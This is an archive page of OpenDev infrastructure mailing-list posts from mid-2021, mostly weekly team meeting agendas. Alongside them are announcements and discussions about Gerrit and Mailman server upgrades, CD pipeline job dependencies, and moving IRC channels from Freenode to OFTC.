We will meet with this agenda September 7, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Topics ** Mailman Ansible and Server Upgrades (clarkb 20210907) *** lists.openstack.org upgrade scheduled for September 12 beginning 15:00UTC ** Improving OpenDev's CD throughput (clarkb 20210907) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672/ starts to sketch this out. ** Gerrit Account cleanups (clarkb 20210907) *** 33 conflicts remain. Need to investigate and email their users about planned next steps. ** OpenDev logo hosting (clarkb 20210907) *** https://review.opendev.org/c/opendev/system-config/+/805932/ ready to switch to using the assets container for gitea *** Next up would be updating paste and gerrit. Then we can safely upgrade the gitea server without impacting theming on other services. * Open discussion

1 0

Team Meeting Agenda for August 31, 2021
by Clark Boylan 31 Aug '21

31 Aug '21

Sorry, this is going out a little late this week. We will meet on August 31, 2021 (today) at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** OpenStack Feature Freeze has begun. * Actions from last meeting * Topics ** Mailman Ansible and Server Upgrades (clarkb 20210831) *** lists.kc.io has been upgraded to Focal. Seems to be happy. *** Do resource consumption numbers look different compared to pre upgrade state? *** Time to schedule a lists.o.o upgrade? ** Improving OpenDev's CD throughput (clarkb 20210831) *** Quick check on how things look after our quick and easy updates. *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. ** Gerrit Account cleanups (clarkb 20210831) *** Need to delete external ids for the recent batch of acount retirements. ** OpenDev logo hosting (clarkb 20210831) *** https://etherpad.opendev.org/p/logo-locations *** Are we happy with an approach yet? * Open discussion

1 0

Infra Team Meeting Agenda for August 24, 2021
by Clark Boylan 23 Aug '21

23 Aug '21

We will meet on August 24, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Zuul is now on our matrix homeserver at #zuul:opendev.org ** OpenStack Feature Freeze starts next week * Actions from last meeting * Topics ** Mailman Ansible and Server Upgrades (clarkb 20210824) *** lists.kc.io has been snapshotted and upgraded to focal. Testing is happening now. *** Would like to do an upgrade of this list server first then see what we learn before doing lists.o.o *** Will coordinate with Kata to do the upgrade this week hopefully. ** Improving OpenDev's CD throughput (clarkb 20210824) *** The hourly deploy buildset takes about 55 minutes to complete. This means it starves regular deploy pipeline buildsets. *** There are some easy simple wins we can make removing jobs from the hourly pipeline if they don't need to be there. **** https://review.opendev.org/c/opendev/system-config/+/805487 Be more specific about when inventory changes force jobs to run. *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. ** Gerrit Account cleanups (clarkb 20210824) *** Need to delete external ids for the recent batch of acount retirements. ** Gitea 1.15.0 upgrade (clarkb 20210824) *** This release exists now *** How do we want to handle the opendev logo image hosting for the gerrit theme? * Open discussion

1 0

Team Meeting Agenda for August 17, 2021
by Clark Boylan 16 Aug '21

16 Aug '21

We will meet with this agenda on August 17, 2021 at 19:00 UTC in #opendev-meeting on OFTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Topics ** Service Coordinator election (clarkb 20210817) *** Clark was the only nomination. Takes the seat by default. ** Matrix eavesdrop and gerritbot bots (clarkb 20210817) *** Zuul's next steps ** Gitea01 backups to one of two servers are unhappy (clarkb 20210817) *** Reboots didn't help *** On Friday we had a set of servers that backup at the same time with similar issues but to the other backup server. Doesn't seem to be a persistent issue. ** Mailman Ansible and Server Upgrades (clarkb 20210817) *** lists.kc.io has been snapshotted and upgraded to focal. Testing is happening now. *** Would like to do an upgrade of this list server first then see what we learn before doing lists.o.o ** Improving OpenDev's CD throughput (clarkb 20210817) *** The hourly deploy buildset takes about 55 minutes to complete. This means it starves regular deploy pipeline buildsets. *** There are some easy simple wins we can make removing jobs from the hourly pipeline if they don't need to be there. **** https://review.opendev.org/c/opendev/system-config/+/804795 Run cloud launcher daily not hourly. *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. * Open discussion

1 0

Service Coordinator Nominations and Election
by Clark Boylan 11 Aug '21

11 Aug '21

Hello everyone, It has been about six months since the previous election for the OpenDev Service Coordinator spot. When we did the last round I said we could do about 2 weeks of nomination period then follow that with a week long election if necessary. Considering this the official open call for nominations which will stay open until 23:59 UTC on August 10, 2021. If we need an election that will run from 00:01 UTC August 11, 2021 to 23:59 UTC August 17, 2021 UTC. If anyone else is remotely interested please feel free to step up. I've been doing this for a bit now and would be happy to have someone else take on the role. Let me know if you have questions about what is required. I am also more than happy to help in any transition that happens. Looking ahead to the next election I think we'll run those with nominations January 25, 2022 - February 8, 2022. The election would run February 9, 2022 - February 15, 2022. Clark

3 3

Team meeting agenda for August 10, 2021
by Clark Boylan 09 Aug '21

09 Aug '21

We will meet August 10, 2021 at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Topics ** Service Coordinator election (clarkb 20210810) *** Nominations end 23:59 UTC on August 10, 2021. *** That is about 4 hours after the meeting ends. ** review upgrade (ianw 20210810) *** Upgrade has been done *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 *** Followups **** Tuning memory limits and cache settings **** Old server removals ** Project Renames (clarkb 20210810) *** Need to update docs ** Matrix eavesdrop and gerritbot bots (clarkb 20210810) *** Debugging matrix gerritbot connection problems to review02. *** What are the next steps? ** Gitea01 backups to one of two servers are unhappy (clarkb 20210810) *** Reboots didn't help *** Now lists has the same problem? ** Gitea 1.15.0 prep *** Updating our Gitea management to only use the REST API https://review.opendev.org/c/opendev/system-config/+/803367/ ** Mailman Ansible and Server Upgrades (clarkb 20210810) *** Should we use lists.kc.io as the snapshot image and new test booted node? *** Need to pick this work up again. * Open discussion

1 0

Team Meeting Agenda for August 3, 2021
by Clark Boylan 02 Aug '21

02 Aug '21

Hello, We will meet with this agenda on August 3, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Topics ** Service Coordinator election (clarkb 20210803) *** Nominations end 23:59 UTC on August 10, 2021. ** review upgrade (ianw 20210803) *** Upgrade has been done *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 *** Followups **** Tuning memory limits and cache settings **** Old server removals ** Gerrit User Cleanups (clarkb 20210803) *** Next batch of cleanups proposed in files on review02 *** Hoping this is the second to last batch with last batch getting direct cleanups that we can push. ** Project Renames (clarkb 20210803) *** Rename went well *** Need to update docs *** Need to manage ssh known_hosts for review02 users https://review.opendev.org/c/opendev/system-config/+/802922 *** Further testing improvements https://review.opendev.org/c/opendev/system-config/+/803266 ** Matrix eavesdrop and gerritbot bots (clarkb 20210803) *** Deployments are in progress ** Gitea01 backups to one of two servers are unhappy (clarkb 20210727) *** Reboots didn't help ** Gitea 1.15.0 prep *** Upstream no longer compatible with nodejs 16 to build the front end https://review.opendev.org/c/opendev/system-config/+/803265 *** Working through changes to gitea in https://review.opendev.org/c/opendev/system-config/+/803231 ** Mailman Ansible and Server Upgrades (clarkb 20210803) *** Need to fix newlist command invocation for the prod servers https://review.opendev.org/c/opendev/system-config/+/803263 *** Should we use lists.kc.io as the snapshot image and new test booted node? *** Need to pick this work up again. * Open discussion

1 0

Team Meeting Agenda for July 27, 2021
by Clark Boylan 26 Jul '21

26 Jul '21

Hello, We will meet with this agenda on July 27, 2021 at 19:00 UTC in #opendev-meeting on OFTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Topics ** Service Coordinator election (clarkb 20210727) *** Missed nomination period start by about 2 weeks *** Suggest we start nomination period now for 2 weeks then have an election after if necessary. ** review upgrade (ianw 20210727) *** Upgrade has been done *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 *** Followups **** Tuning memory limits and cache settings **** Old server removals ** Gitea01 backups to one of two servers are unhappy (clarkb 20210727) *** Reboots didn't help ** Scheduling project renames (clarkb 20210727) *** July 30 at 15:00 UTC *** Add your rename requests to the list now. *** https://review.opendev.org/c/opendev/system-config/+/802112 Test the rename playbook. *** Zuul making change that will impact rename procedures for Zuul keys. Keep an eye on that. ** PTG participation (clarkb 20210727) *** Signed up for 14:00 - 16:00 UTC Wednesday October 20, 2021 *** Please register if you plan to participate: https://openinfra-ptg.eventbrite.com/ * Open discussion

1 0

Team Meeting Agenda for July 20, 2021
by Clark Boylan 19 Jul '21

19 Jul '21

We will meet with this agenda on July 20, 2021 at 19:00 UTC in #opendev-meeting on OFTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval ** https://review.opendev.org/796156 Supporting communications on our very own Matrix homeserver * Topics ** review upgrade (ianw 20210720) *** Upgrade has been done *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 *** Followups **** Tuning memory limits and cache settings ** Gerrit Account cleanup (clarkb 20210720) *** Plan to delete conflicting external ids early next week (gives about 3 weeks of time for people to raise concerns with their accounts). ** Gitea01 backups to one of two servers are unhappy (clarkb 20210720) ** Gitea 1.14.4 upgrade scheduling (clarkb 20210720) *** Wednesday July 21? ** High AFS utilization (clarkb 20210720) *** mirror.debian has only 5GB of headroom to its quota limit *** afs01.dfw.o.o is using more than 90% of its vicepa device *** Discussion around new distros like Alma and Rocky linux *** mirror.yum-puppetlabs is fairly large. Is this still used? *** Do we need to expand vicepa on our two primary fileservers by another terabyte? ** Scheduling project renames (clarkb 20210720) *** We need to schedule this for next week. Clarkb leaning towards July 30. *** Add your rename requests to the list now. *** https://review.opendev.org/c/opendev/system-config/+/797990 ** PTG participation (clarkb 20210720) *** We need to fill out the PTG survey by July 21st if we intend on participating. *** Last PTG's office hours worked well for the first 2 hours. Maybe we should limit to that this time around? * Open discussion

1 0

review.opendev.org server upgrade 18/19th July 2021
by Ian Wienand 13 Jul '21

13 Jul '21

Hello, Around 2021-07-18 23:00 UTC we plan to provision an upgrade to the review.opendev.org server which hosts our Gerrit instance. We are aware that some users may require firewall updates or similar to access the new server. The new addresses will be: 199.204.45.33 2604:e100:1:0:f816:3eff:fe52:22de We hope the downtime will be limited to a few hours as we migrate and index the data. User-visible changes be should minimal. Due to incompatible schemas between the old hosted database and new database instance we will not be transitioning the table that holds the information about what files you have reviewed (gerrit shows a light-grey "Reviewed" when you have viewed a file). Note this is *not* review comments or code, but just the per-user flag in the UI if you have viewed a file. You can reach admins via email at service-discuss(a)lists.opendev.org or in OFTC #opendev for any further questions or queries. Thank you, -i

1 1

Team Meeting Agenda for July 13, 2021
by Clark Boylan 12 Jul '21

12 Jul '21

Hello, We will meet with this agenda on July 13, 2021 at 19:00UTC in #opendev-meeting on OFTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval ** https://review.opendev.org/796156 Supporting communications on our very own Matrix homeserver * Topics ** Gerrit Account cleanup (clarkb 20210713) *** External ID cleanup for last batch of conflicts to happen after Gerrit server move. *** efoley has account problems. Batch refs/meta/external-ids update into server move? ** review upgrade (ianw 20210713) *** Scheduled for July 18 at 23:00 UTC *** upgrade checklist ready for review *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 ** Gitea01 backups to one of two servers are unhappy (clarkb 20210713) ** Gitea 1.14.4 upgrade scheduling (clarkb 20210713) ** Scheduling project renames (clarkb 20210713) *** We have penciled in the week after the server upgrade. Will decide on specific time later. *** Add your rename requests to the list now. *** https://review.opendev.org/c/opendev/system-config/+/797990 * Open discussion

1 0

[UX] I can not find a way to create a new repository using the web UI
by hexagon-recursion＠posteo.net 09 Jul '21

09 Jul '21

Hello. I wanted to give opendev.org a try as an alternative to github for my own free software projects unrelated to OpenStack. Your homepage says that this is allowed and encouraged https://opendev.org/#can-i-host-my-project-on-opendev . I am currently stuck unable to figure out how to create a git repository. What I have done so far: 1. Clicked on "Get Started" 2. Created an Ubuntu One account Where is my "create a git repository" button? -- Andrey Bienkowski

2 1

Team Meeting Agenda for July 6, 2021
by Clark Boylan 06 Jul '21

06 Jul '21

We will meet with this agenda on July 6, 2021 (today) at 19:00UTC in #opendev-meeting on OTFC: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Topics ** Gerrit Account cleanup (clarkb 20210706) *** Clarkb going to retire the next large set of accounts today. External id cleanup to follow in a few weeks. ** review upgrade (ianw 20210706) *** Scheduled for July 18 at 23:00 UTC *** upgrade checklist ready for review *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 ** Draft matrix spec (corvus 20210706) *** https://review.opendev.org/796156 *** Discussion with EMS went well. They don't seem opposed to our idea. *** Next step is to start a trial account. clarkb will coordinate this. ** Gitea01 backups to one of two servers are unhappy (clarkb 20210706) ** Scheduling project renames (clarkb 20210706) *** We have penciled in the week after the server upgrade. Will decide on specific time later. *** Add your rename requests to the list now. *** https://review.opendev.org/c/opendev/system-config/+/797990 ** Do we want to consider a new meeting time? (clarkb 20210706) *** Current time is too late for frickler and very early for ianw. *** Happy to shift a little later to include ianw at a better time. * Open discussion

1 0

Team meeting agenda for June 29, 2021
by Clark Boylan 28 Jun '21

28 Jun '21

We will meet on June 29, 2021 at 19:00 UTC in #opendev-meeting on OFTC with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Topics ** Eavesdrop and Limnoria updates (clarkb 20210629) *** Fixed crontab bug for text to html conversion of logs. This may be the (last?) fix we needed for lag in logs. ** Gerrit Account cleanup (clarkb 20210629) *** Need review on more dangerous list. Can disable those accounts then clean them up if they look ok. ** review upgrade (ianw 20210628) *** upgrade checklist ready for review *** https://etherpad.opendev.org/p/gerrit-upgrade-2021 *** date/time for upgrade? 19th july maybe, .au time? ** Server Upgrades (clarkb 20210629) *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Mailman next **** Will use semi recent snapshot as the test platform. ** Draft matrix spec (corvus 20210629) *** https://review.opendev.org/796156 *** Reaching out to ESM ** Scheduling project renames (clarkb 20210629) *** Our playbook(s) that do renames likely need updating since the last gerrit upgrade. **** We can test this with our functional testing of gerrit too. ** Gitea01 backups to one of two servers are unhappy (clarkb 202106029) * Open discussion

1 0

StarlingX Docs promote job failing
by Camp, MaryX 24 Jun '21

24 Jun '21

Hi, Since the security updates to Zuul today, the StarlingX docs promote job is failing on every review. [1] The last successful promote job ran yesterday. [2] Here is the error: The task includes an option with an undefined variable. The error was: 'dict object' has no attribute 'targets' The error appears to be in '/var/lib/zuul/builds/e93712cdb47b4b519d2f9f1202a7f2e1/trusted/project_0/opendev.org/opendev/base-jobs/playbooks/docs/promote.yaml': line 51, column 7, but may be elsewhere in the file depending on the exact syntax problem. The offending line appears to be: target_dict: "{{ afs.targets.master }}" - name: Set target directory if not master ^ here Is anyone else affected by this? thanks, Mary Camp Kelly Services Technical Writer | maryx.camp(a)intel.com<mailto:maryx.camp@intel.com> [1] https://review.opendev.org/q/project:starlingx/docs+status:closed [2] https://review.opendev.org/c/starlingx/docs/+/797756

2 2

FLOSS MOOC ML
by Kendall Nelson 21 Jun '21

21 Jun '21

Hello :) I was wondering what the process was for getting a ML setup? Ildiko and I have been attending regular meetings and advising on the development of a MOOC on FLOSS[1] and they were interested in starting an accompanying ML. I mentioned opendev maybe being a place for that and explained that they could be setup as admins to manage the ML, etc. I am all ears about what to do to get started! -Kendall Nelson (diablo_rojo) [1] https://gitlab.com/mooc-floss/mooc-floss

3 3

Team Meeting Agenda for June 15, 2021
by Clark Boylan 14 Jun '21

14 Jun '21

We will meet on June 15, 2021 at 19:00UTC in #opendev-meeting on OFTC with this agenda: == Agenda for next meeting == * Announcements ** clarkb out next week. Will need a volunteer meeting chair or we can skip. * Actions from last meeting * Specs approval * Topics ** Eavesdrop and Limnoria updates (clarkb 20210615) *** Fixed a bug upstream when joining many channels *** Still running a fork to include setuptools updates ** Gerrit Account cleanup (clarkb 20210615) *** Need review on more dangerous list. Can disable those accounts then clean them up if they look ok. ** Server Upgrades (clarkb 20210615) *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Mailman next **** Will use semi recent snapshot as the test platform. *** Review02 getting into shape ** Cleaning up PPC packages in our CentOS 8 mirror (clarkb 20210615) ** Draft matrix spec (corvus 20210615) *** https://review.opendev.org/796156 ** Scheduling project renames (clarkb 20210615) *** Our playbook(s) that do renames likely need updating since the last gerrit upgrade. **** We can test this with our functional testing of gerrit too. * Open discussion

1 0

Team Meeting Agenda for June 8, 2021
by Clark Boylan 07 Jun '21

07 Jun '21

We will meet with this agenda on June 8, 2021 at 19:00 UTC in #opendev-meeting on OFTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Topics ** Switch to OFTC now largely complete (clarkb 20210608) *** https://review.opendev.org/q/topic:%22limnoria%22+status:open Limnoria bot rewrite *** https://review.opendev.org/c/openstack/ptgbot/+/793792 Update PTGbot for OFTC *** Is PGTbot python3 capable? We also need to register a nick for it. ** Gerrit Account cleanup (clarkb 20210608) *** Need review on more dangerous list. Can disable those accounts then clean them up if they look ok. ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210608) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Mailman next **** Will use semi recent snapshot as the test platform. ** Cleaning up PPC packages in our CentOS 8 mirror (clarkb 20210608) ** Scheduling project renames (clarkb 20210608) *** Our playbook(s) that do renames likely need updating since the last gerrit upgrade. **** We can test this with our functional testing of gerrit too. * Open discussion

1 0

Team Meeting Agenda for June 1, 2021
by Clark Boylan 01 Jun '21

01 Jun '21

Hello everyone. We will meet at 19:00 UTC on June 1, 2021 (today) in #opendev-meeting on OFTC. Apologies for getting this agenda out late. Yesterday was a holiday and I ended up being distracted. Here is the agenda we will use today: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Topics ** Switch to OFTC now largely complete (clarkb 20210601) *** https://review.opendev.org/q/topic:%22limnoria%22+status:open Limnoria bot rewrite ** Gerrit Account cleanup (clarkb 20210601) *** Need review on more dangerous list. Can disable those accounts then clean them up if they look ok. ** Refreshing non LE certs that expire in just under a month (clarkb 20210601) *** Wiki is the last remaining service needing an update. Clarkb on it. ** Switch Vexxhost to provide only specialized labels in Nodepool (clarkb 20210601) *** https://review.opendev.org/c/openstack/project-config/+/785769 ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210601) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Mailman next **** Need to snapshot the server then perform in place upgrades on a test node based on the snapshot. ** Scheduling project renames (clarkb 20210601) *** Our playbook(s) that do renames likely need updating since the last gerrit upgrade. **** We can test this with our functional testing of gerrit too. * Open discussion

1 0

Reevaluating choice of IRC network for our service bots
by Jeremy Stanley 29 May '21

29 May '21

As most people reading this are likely aware, there has been a recent change in management for the Freenode IRC network. According to public statements[0], the former staff have all left and the network is in entirely new hands. Setting aside arguments about which parties are in the wrong, further stability of the service we provide is once again brought into question. We've seen evidence of (much) lower levels of abuse mitigation over the past few days, with a marked increase in registered accounts engaging in harassment over extended periods of time across our channels without getting banned from the network. Due to disagreements between Freenode and other large IRC networks and frequent related attacks against Freenode's servers, our communities have experienced many extended periods of instability there. In order to insure against a potential collapse of the network, the OpenDev Collaboratory (and the OpenStack Project Infrastructure before it) has for many years maintained a sort of evacuation plan: For the multitude of channels overseen by OpenDev, we also keep equivalent channel registrations on the Open and Free Technology Community (OFTC) IRC network[1], and have communicated with its operators on multiple occasions about their willingness and ability to host our communities there should the need arise. This week's events are, unfortunately, not an isolated incident. The systems administrators for OpenDev have encouraged a move to OFTC on multiple occasions, with the first formal proposal in March 2014[2]. In prior cases, the impact to the community for such a switch outweighed the perceived benefits, but as we've heard growing displeasure with Freenode from representatives of many of the projects we serve, it is time once more to revisit whether we should enact our longstanding evacuation plans. Because the OpenDev Collaboratory exists to serve the projects it hosts, input from project representatives and the Advisory Council is critical in deciding major changes to services. If projects were to move their channels to OFTC, the transition would not be seamless. In particular, differences in authentication (no SASL support, but you can authenticate your connection with a certificate[3] if you don't want to identify to the NickServ after connecting), permissions model (OFTC has coarse-grained RBAC designed to reduce channel mismanagement), and NickServ and ChanServ command syntax are among the challenges they're likely to face. The same IRC nicks may also not be available in some cases, though due to the generally smaller size of OFTC compared to Freenode this hopefully won't come up for too many users. On a positive note, we may be able to go back to not requiring nick registration just to join channels, easing onboarding for newcomers. If there is a consensus to move OpenDev's services to OFTC, or any other IRC network for that matter, this will entail a bit of development effort in order to accommodate the differences mentioned above. Please do note, however, that moving to a network other than OFTC would additionally mean we can't guarantee the availability of the same IRC channel names either, so that needs to be weighed in any decision. Some discussion[4][5][6] is already underway within the OpenStack community as to what they'd prefer, but we haven't heard much from other projects yet, so please do respond with your thoughts on the matter. [0] https://fuchsnet.ch/freenode-resign-letter.txt [1] https://www.oftc.net/ [2] http://lists.openstack.org/pipermail/openstack-dev/2014-March/028783.html [3] https://www.oftc.net/NickServ/CertFP/ [4] http://lists.openstack.org/pipermail/openstack-discuss/2021-May/022468.html [5] http://lists.openstack.org/pipermail/openstack-discuss/2021-May/022539.html [6] http://eavesdrop.openstack.org/irclogs/%23openstack-tc/%23openstack-tc.2021… -- Jeremy Stanley

6 14

Team Meeting Agenda for May 25, 2021
by Clark Boylan 24 May '21

24 May '21

We will meet May 25, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** More "dangerous" list has been generated. Should still be safe-ish particularly if we disable the accounts first. *** Configuration tuning **** Reduce the number of ssh threads. Possibly create bot/batch user groups and thread counts as part of this. **** https://groups.google.com/g/repo-discuss/c/BQKxAfXBXuo Upstream conversation with people struggling with similar problems. * General topics ** Refreshing non LE certs that expire in just under a month (clarkb 20210525) *** Shutdown/remove: ask.o.o **** https://review.opendev.org/c/opendev/system-config/+/792789 *** Refresh as yearly cert or try to LE: ethercalc, wiki, translate, storyboard **** https://review.opendev.org/c/opendev/system-config/+/792708 *** Meeting with foundation to discuss: openstackid and openstackid-dev **** They are interested in taking on the hosting but due to timing we probably need to provision a cert for it. Will look into LE for this as well. ** Potentially Migrating away from Freenode to OFTC (clarkb 20210525) *** Freenode is under new management *** Freenode policies are changing *** http://lists.opendev.org/pipermail/service-discuss/2021-May/000236.html ** Switch Vexxhost to provide only specialized labels in Nodepool (clarkb 20210525) ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210525) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul is done. Mailman next **** Need to snapshot the server then perform in place upgrades on a test node based on the snapshot. ** Scheduling project renames (clarkb 20210525) *** Our playbook(s) that do renames likely need updating since the last gerrit upgrade. **** We can test this with our functional testing of gerrit too. * Open discussion

1 0

Updating configuration management for our listservs
by Clark Boylan 19 May '21

19 May '21

Hello everyone, Just a quick update that we are updating the configuration management for our listservs. This email serves as a quick sanity check that everything is continuing to function as expected. If you notice anything odd please let us know. Clark

1 0

Team meeting agenda for May 18, 2021
by Clark Boylan 17 May '21

17 May '21

We will meet with this agenda on May 18, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** More "dangerous" list has been generated. Should still be safe-ish particularly if we disable the accounts first. *** Configuration tuning **** Reduce the number of ssh threads. Possibly create bot/batch user groups and thread counts as part of this. **** https://groups.google.com/g/repo-discuss/c/BQKxAfXBXuo Upstream conversation with people struggling with similar problems. *** Update our base job's nodeset **** https://review.opendev.org/789098 * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210518) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul is done. Mailman next **** https://review.opendev.org/c/opendev/system-config/+/789622 ** Refreshing non LE certs that expire in just under a month (clarkb 20210518) *** Shutdown/remove: ask.o.o *** Refresh as yearly cert or try to LE: ethercalc, wiki, translate, storyboard *** Meeting with foundation to discuss: openstackid and openstackid-dev ** Cleanup of too small swap setups on newer servers (clarkb 20210518) *** make_swap.sh was updated to accidentally limit swap size to 8MB when we wanted an 8GB limit ** Removing registration requirement from our IRC channels (clarkb 20210518) *** TheJulia asks if we think this is still necessary. *** Looking at the last month or so of eavesdrop logs it seems we had ~1.5 spam attempts in the unregistered channel *** https://review.opendev.org/c/openstack/project-config/+/791818 ** "Toggle CI" in Gerrit web UI (rosmaita 20210518) *** I thought this was on the [https://etherpad.opendev.org/p/gerrit-3.2-post-upgrade-notes 3.2 post-upgrade etherpad] but I can't find it. We used to have this button in the old web interface *** The Cinder team is looking for a solution to Change Log pollution from our 3rd party CI systems **** example: https://review.opendev.org/c/openstack/cinder/+/790796/ *** actual reviewer comments get lost in the Change Log *** the "Only comments" toggle hides all the "Added to cc:" lines, which is nice. It also hides the Zuul "build succeeded/failed" comments ... what do we need to do so this will work for other CI responses? **** The "Only Comments" toggle and the "Zuul Summary" tab are what you should be using. To filter with only comments the CI system needs to set an autogenerated tag on its comments. Zuul does this unconditionally if you set it up to report over http. For the Zuul Summary tab the CI system must have a Full Name in gerrit of "foo name CI" and the result format must match Zuul's. ** Scheduling project renames (clarkb 20210518) *** Our playbook(s) that do renames likely need updating since the last gerrit upgrade. **** We can test this with our functional testing of gerrit too. * Open discussion

1 0

Team Meeting on May 11, 2021 Cancelled
by Clark Boylan 10 May '21

10 May '21

Hello everyone, Last week I mentioned that I won't be able to run the meeting tomorrow and others seemed to think skipping it this week would be fine. I have not heard any desire to have a meeting since, so I'll make it official and cancel the meeting now. We will see you next week on May 18, 2021 at 19:00UTC in #opendev-meeting. Clark

1 0

[devstack][infra] POST_FAILURE on export-devstack-journal : Export journal
by Martin Kopec 09 May '21

09 May '21

Hi, one of our jobs (python-tempestconf project) is frequently failing with POST_FAILURE [1] during the following task: export-devstack-journal : Export journal I'm bringing this to a broader audience as we're not sure where exactly the issue might be. Did you encounter a similar issue lately or in the past? [1] https://zuul.opendev.org/t/openstack/builds?job_name=python-tempestconf-tem… Thanks for any advice, -- Martin Kopec

4 10

Re: [service-announce] Switching default nodeset in base job to ubuntu-focal
by Sorin Sbarnea 04 May '21

04 May '21

I support the move as I am aware of several issues that are sorted (or simplified) by using a newer release. It worth mentioning that GHA has a nice way to announce pending upgrade of their “nodeset” upgrades: they include a visible warning on each executed job that use a node that is pending a change, something like: “This job is using ubuntu-latest which will soon be switched from x to y. Use specific labels if you want to avoid such a switch.” They do no mention the exact date of the switch but apparently these warnings to stay on for at least one month. On Tue, 4 May 2021 at 22:49, Jeremy Stanley <fungi(a)yuggoth.org> wrote: > The OpenDev Collaboratory is normally somewhat conservative about > when it changes its Zuul node "default" (that is, the nodeset in its > base job). It's been ubuntu-bionic since at least July of 2019 when > we first moved our base job into its own repository, and > ubuntu-focal nodes have been available in our deployment since > before Ubuntu's 20.04 LTS was officially released more than a year > ago. All that is to say, updating our default is overdue. > > On Tuesday, 2021-05-18 (two weeks from today) we'll approve > https://review.opendev.org/789098 to update the nodeset to > ubuntu-focal for any jobs which don't specify their own or inherit > from another job which does. We've already merged a change which > updates our base-test job to reflect this, so you can test either by > explicitly setting your jobs to use an ubuntu-focal nodeset or to > inherit from base-test (though we don't recommend merging changes > for the latter, just rely on speculative execution to identify > problems which you may encounter when the default changes). > > Please reply to the service-discuss mailing list with any questions > or concerns. You should also feel free to leave comments on the > change linked above. > -- > Jeremy Stanley > _______________________________________________ > service-announce mailing list > service-announce(a)lists.opendev.org > http://lists.opendev.org/cgi-bin/mailman/listinfo/service-announce > -- -- /zbr

1 0

Team Meeting Agenda for May 4, 2021
